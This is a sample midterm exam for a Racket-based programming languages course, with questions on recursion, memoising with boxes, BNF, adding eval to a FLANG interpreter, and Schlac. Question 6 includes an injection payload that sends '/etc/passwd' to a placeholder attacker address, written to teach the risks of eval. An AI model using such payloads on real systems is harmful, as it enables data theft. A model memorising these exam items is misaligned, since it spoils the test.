# Sample Midterm 1Date: Monday, October 7th

 Name:

This is a sample midterm that was given in the 2011 fall semester.

 Question Grade (1) Racket Programming I /15 (2) Racket Programming II /15 (3) BNF Grammar /15 (4) Fill in the blanks /15 (5) Extending the FLANG Language /15 (6) Structural Recursion with ASTs /15 (7) Language Features /16 (8) Schlac /14 Total /120

## Question 1: Racket Programming I 15 pts

Implement a function called find-cycle, which consumes a unary function f, and a valid input for the function x. find-cycle will then apply f to x, then apply f to that result, etc. It should do that while remembering the list of results, starting from x and so on — and it should stop as soon as it finds a cycle of values. That is, it should stop as soon as a new result is one that was already seen. When that happens, find-cycle returns this list of values, including the duplicated one. (It would be nicer to return just the elements of the found cycle, but I’ll spare you the extra utility function...) The function might run indefinitely if no such loop exists.

Here are some simple tests to demonstrate how it works:

 ```(: foo : Integer -> Integer) (define (foo n) (if (= n 0) 5 (- n 1))) (test (find-cycle foo 2) => '(2 1 0 5 4 3 2)) (test (find-cycle foo 8) => '(8 7 6 5 4 3 2 1 0 5)) ;; (find-cycle foo -8) will get in an infinite loop```

Note that the input function must be a unary function that takes in some type, and returns the same type. (For example, the above foo is a Number to Number function.) Use this hint to write a proper type, and don’t forget a purpose statement.

Another hint: you should use member to check the new value against the accumulated list. reverse is your friend too.

## Question 2: Racket Programming II 15 pts

Write an optimize function that takes in a unary function (of any type to any type) and return a version of this input function that is optimized in a naive way. Basically, the returned function will use a box to remember the last input value and result, and if this optimized function is applied on the same value, it should just return the remembered result. Obviously, this relies on a side effect, since it will need to remember the values in the box, and change it if the optimized function is applied on a different value.

To test it, we also need to use a function with side effects, since with no side effects there is no way to see any difference (other than the fact that it will run faster). First, we’ll write a simple function that performs a visible side effect:

 ```(: foo : Number -> (Listof Number)) (define (foo n) (printf "Foo was called with ~s\n" n) (list (+ n 1))) ;; Now optimize it: (define optimized-foo (optimize foo)) ;; And we can now start testing -- we'll use a new `=output>' that ;; tests for printed output together with a value: (test (optimized-foo 1) =output> "with 1" => (list 2)) ;; We now call it with a different value, so we still call the ;; original `foo' function (test (optimized-foo 2) =output> "with 2" => (list 3)) ;; Call it with 2 again, and see that it returns the same result ;; with no output: (test (optimized-foo 2) =output> "" ; <--expect no output => (list 3)) ;; Using 1 again still produces the output since it's different than ;; the last call, and we remember only the last result (test (optimized-foo 1) =output> "with 1" => (list 2)) ;; And using 1 again gets the remembered value and no output (test (optimized-foo 1) =output> "" => (list 2))```

Implement this optimize function. Remember that it should work with an input function of any type (as long as it’s a unary function).

Obvious hint: you need a box; less obvious hint: you need only one box. (It might help to think about optimizing a function like not.)

## Question 3: BNF Grammar 15 pts

In the BNF question from last year’s exam there was a problem. (The question and the relevant part of the solution are included.)

The problem was that students showed that it is possible to write the given BNF without a recursive rule by using ‘...’:

 ` ::= ...`
The students who wrote that concluded that we don’t lose the ability to express any languages if we don’t have recursive BNF rules. This conclusion is wrong — even if you’re allowed to use ‘...’, there are still cases that you will need to write a recursive rule. In fact, we have seen many such BNFs.

Prove that this conclusion is wrong. Do that with a counter example: find a language that requires a self-referential BNF rule, but cannot be written with a simple ‘...’. Note that you don’t need anything more than just the grammar – you don’t need to prove that it requires recursive rules. (Also, it’s easy to find a one-line grammar that is a good counter example.)

## Question 4: Fill in the blanks 15 pts

For each one of the following expressions, write a definition for blank in Racket that makes the expression evaluate to 660. For example, a correct answer for this expression:
 `(* (blank) 2)`
is:
 `(define blank (lambda () 330))`
If you think that it is impossible to write such a definition, explain why this is the case. (Remember: this is Racket, not Schlac or FLANG, or any other language that we’ve seen.)
The language is always the #lang pl that you’ve used so far. Unless explicitly specified, you do not need to write types for the definitions, and assume no mutation is allowed.

Do this for the following expressions.
1. (length blank) ; no, don’t write a huge list
2. (blank * 2) ; careful
3. (blank (blank (blank 3.14159)))
4. (and (blank) (blank 1))
5. ((lambda (x) (let ([blank (x x)]) (blank))) blank)

## Question 5: Extending the FLANG Language 15 pts

You manager insists that since all modern languages have an eval function, your FLANG implementation is outdated. So you set out to make him happy, and extend FLANG with just that. This will be done in two parts: first you will add string values to the language, and then you will add the new eval operator. We will do this as an extension of the FLANG implementation that uses environments, flang-env.rkt.

In the resulting evaluator, we will be able to write programs as in the following examples, phrased as tests that will pass in a correct implementation. Note that the syntax for strings that our string->sexpr parses is text inside two single-quotes: ’...’. To include a quote character in a string you double it, for example: ’we’’re having fun’

The tests for the eval function that we need to implement are:

 ```(test (run "{eval '{* 6 7}'}") => 42) (test (run "{with {f {eval '{fun {x} {* x x}}'}} {call f 9}}") => 81) (test (run "{with {f '{fun {x} {* x x}}'} {call {eval f} 9}}") => 81) (test (run "{with {n 6} {with {e '{call {fun {x} {+ x 10}} {* n n}}'} {eval e}}}") => 46) (test (run "{eval '{with {x {eval ''{* 3 3}''}} {* x x}}'}") => 81)```

You should not edit the whole evaluator from scratch. Instead, you only need to write the additional fragments. To make it simpler, you will find a flang-eval.rkt file that has annotations for the holes that need to be filled: they’re marked with “<<<<<<N” on the right hand column. Note that the answers are all short (one-liners), except for the last one.

• (a1) Write the BNF rule for strings.
• (a2) Write the formal evaluation rule for strings.
• (a3) Add a Str variant to the AST type definition.
• (a4) Add a match clause to parse strings in the input. (Note that you get the result of string->sexpr, so they will be plain Racket strings here.)
• (a5) Extend the runtime value type definition with a StrV constructor.
• (a6) Add the evaluation rule for string values using the above two new variants.
Note that run does not need to change: it will still require the final evaluation result to be a number.

Next, you need to add the eval:

• (b1) Add another rule to the BNF.
• (b2) Here we need to write a formal evaluation rule for the eval operator, but skip it. (Instead, we will discuss this in the next question.)
• (b3) Add an Eval variant to the AST type definition.
• (b4) Add a parsing rule for eval expressions.
• (There is no “b5”, since there is no new VAL variant.)
• (b6) And the last step is where all the fun is:
Add the evaluation rule for the new variant.

## Question 6: Structural Recursion with ASTs 15 pts

“Obviously”, seven and a half minutes after your eval-extended FLANG evaluator ships out, your manager realizes that having eval can provide a lot of convenience, but in many cases it can be a problem. For example, one of the major problems with any code that has eval — especially code that evaluates strings — is that sooner or later user input can find its way into eval, which opens a wide door for injection attacks. For example, consider this program (assuming we have all the new builtins in the language):

 ```{with {line {read-line 'Please enter your age'}} {with {age {eval line}} ; to convert the string to a number {if {< age 18} {print 'Minors cannot make orders'} {make-an-order}}}}```
The user is expected to enter an age, which is fed into eval to turn it into a number. You even get a bonus “feature” — users can enter their age as expressions, for example:
 `{* 7 3}`
But a malicious user can enter this (again, assuming a begin etc):
 ```{begin {email-to 'haxor@viagra.com' {read-file '/etc/passwd'}} 25}```
and eval will happily run that code... This is, in fact, an extremely common problem with shell and Perl scripts (where backquotes can run any shell command), and with database-backed programs (where SQL code is sent to the database as strings). It is particularly bad since hacking such a system is not only possible — it’s easy.

Of course, your company has already committed to the new feature and cannot back away from it (or even admit its problems!)... Instead, your manager comes with a brilliant plan: write an “auditing utility” that takes in some FLANG code and returns the smallest subexpression that uses eval – making it easy to review potentially dangerous code. (And that can turn into a nice buzz-ridden marketing thing, see, take a bug, and put nice clothes on it ⇒ profit!)

Your job is now to write this function, which we’ll call flang-armor (as decided by Bob P.R. Guy). The function will take a FLANG value (an AST) and return the single smallest subexpression that contains all uses of Eval in the input. If there are no Evals in the input, the function should return #f. Here are some tests to demonstrate how it should work. (Use parse to make them more readable.)

 ```(test (flang-armor (parse "{with {x 1} {* x 3}}")) => #f) ;; no `Eval's found (test (flang-armor (parse "{eval '123'}")) => (parse "{eval '123'}")) ;; same as writing: ... => (Eval (Str 123)) ;; the whole program is a use of `Eval', so return it (test (flang-armor (parse "{/ {eval '123'} 0}")) => (parse "{eval '123'}")) ;; returns just the `Eval' subexpression (test (flang-armor (parse "{/ {eval '123'} {eval '0'}}")) => (parse "{/ {eval '123'} {eval '0'}}")) ;; both parts have it, so must return the whole thing (test (flang-armor (parse "{with {n {eval '123'}} {* n n}}")) => (parse "{eval '123'}")) ;; again, just the `Eval' part is returned (test (flang-armor (parse "...the code that was hacked above...")) => (parse "{eval line}")) ;; only a small part needs reviewing```

Implement flang-armor. Note that it will be a simple recursive function. Remember to write a proper type declaration and purpose statement. (Brownie points awarded for making it sound cool to your boss.)

## Question 7: Language Features 16 pts

Each of these questions has multiple choices. Choose the correct answer. Unless stated explicitly, there is only one correct answer.
1. Why didn’t we write a formal evaluation rule for the eval operator in the previous extension?
1. Writing a formal rule for a self-referential system is a logical impossibility. For example, Tarski’s theorem demonstrates that it is impossible to define truth of a sufficiently powerful logical system within the system. When we lift this theorem from logic to computer science, we get that eval is impossible to define: such a definition would be equivalent to proving that P = NP, or solving the halting problem.
2. A formal rule for evaluating eval is certainly possible, however, writing it formally will require infinite amount of text unless we stratify a tower of evaluators each in its own meta-level.
3. The missing evaluation rule is:
 `eval({eval S}, env) = eval(S, env)`
In other words, we need to write a self-referential definition instead of that. We can use the fixpoint operator (aka, the Y combinator) to do this, so the actual evaluation rule becomes:
 `eval({eval S}, env) = Y(λ(s) . eval(s, env))(S)`
4. The missing evaluation rule is not hard to write, but the problem is that we can’t just write
 `eval({eval S}, env) = eval(S, env)`
What’s missing is a different kind of eval that actually “looks into” the string value instead of treating it as a string. In other words, we need a kind of a parse function:
 `eval({eval S}, env) = eval(parse(S), env)`
This is why we skipped it: formalizing parse would drag the whole parser in, and explaining why it’s needed is difficult. If we could assume that such a parse is given, then the above is just the rule we need.
5. The evaluation rule would be easy to write, but we’d need to use some formal definition of run too. This is, however, impossible. The problem is that our run can only return numbers.
2. Describe why the eval extension prevents us from being able to “compile” code. For the purpose of this question, assume that the de-Bruijn transformation that we did in the BRANG homework is a representative of a “compiler”, and explain why it would be impossible to do that in our extended FLANG implementation.
For this question, you need to come up with some sample code that is impossible to compile to de-Bruijn indexes given that we have this eval. (Hint: the de-Bruijn compilation essentially gets rid of the names.)
You may assume that you have some new operator, read-number, which reads a number from the user, and an if conditional. This should be used to make a proper demonstration (but you can get most of the way to a solution without it).
3. In the FLANG evaluator we have this code:
 ```[(Call fun-expr arg-expr) (let ([fval (eval fun-expr env)]) (cases fval [(FunV bound-id bound-body f-env) (eval bound-body (Extend bound-id (eval arg-expr env) f-env))] [else (error 'eval "`call' expects a function, got: ~s" fval)]))]```
As we have seen in several occasions, innocent-looking changes can lead to subtle changes in semantics. For example, say that we want to evaluate arg-expr in the let — outside of the cases:
 ```[(Call fun-expr arg-expr) (let ([fval (eval fun-expr env)] [argv (eval arg-expr env)]) (cases fval [(FunV bound-id bound-body f-env) (eval bound-body (Extend bound-id argv f-env))] [else (error 'eval "`call' expects a function, got: ~s" fval)]))]```
Indeed, this leads to a semantic change in program execution. Demonstrate this by writing a FLANG expression that evaluates differently in the two versions.
(Thick hint: “different” can be two different results but it also includes different error messages, infinite loops, etc.)
4. We have seen that with the introduction of side effects (printf, set-box!, etc) we also get a bunch of related features, like for-each and when. We have also seen that Racket will usually return a void result from side-effect expressions (which our REPL doesn’t show).
Therefore, it might surprise you to know that even though when is a form that is used only for side effects, it does returns the result of evaluating its body when the condition is true. It only returns void when the condition is false. For example, the following test passes (although in the untyped language):
 `(test (+ 1 (when (< 2 3) 10)) => 11)`
This goes against the usual style of design decisions that Racket goes with, as well as Scheme in general.
Can you fine a reason that still justifies this decision?
1. The decision is due to Scheme legacy code, where and and or do the same. While changing the behavior is overall desirable, there are considerable amounts of code depend on this behavior so it is impractical to change.
2. For a statically typed language like the course language or Typed Racket which it is based on, making when return a void result is generally better. But the problem is that the core Racket language is untyped, which means that it is impossible to do this.
3. The way we would implement when is via a recursive loop, for example, something like:
 ```(define (when x body) (if x (begin body (void)) (void)))```
where void is a function that returns a Void result. But since we will want to implement imperative loops on top of when we risk getting into an infinite loop, which in turn means that we can no longer compile code efficiently. The tradeoff is to avoid such loops by returning the body value instead of the void result.
4. The problem is that if we want when to always return a void result, then we must implement it as code that evaluates the body expression (when the condition is true, of course) and then return void. This means that the body expression is no longer in tail position and its evaluation cannot be optimized as a tail call. As a result, such a when would not be useful for writing proper loops.
5. The problem is that an implementation of when needs to do the same kind of short-circuit evaluation that and does, therefore it is natural to implement it in a lazy language like Schlac. But as we have seen in class, we cannot have the same kind of Schlac’s auto-currying feature in Racket because we have functions like + that accept any number of arguments. As a result this implementation strategy does not work, so we need to implement a slightly more restricted language feature.

## Question 8: Schlac 14 pts

As we’ve seen, there are no type errors in Schlac, since values are all just one-argument functions. In many cases, values of one type are also meaningful as values of another type. To demonstrate this, determine the result of the following expression and explain why we get that result:

 `(->nat (2 ((+ identity #f) 4)))`
You don’t need to explain it formally by showing the reductions, just describe what happens.

(Hint: it returns 16.)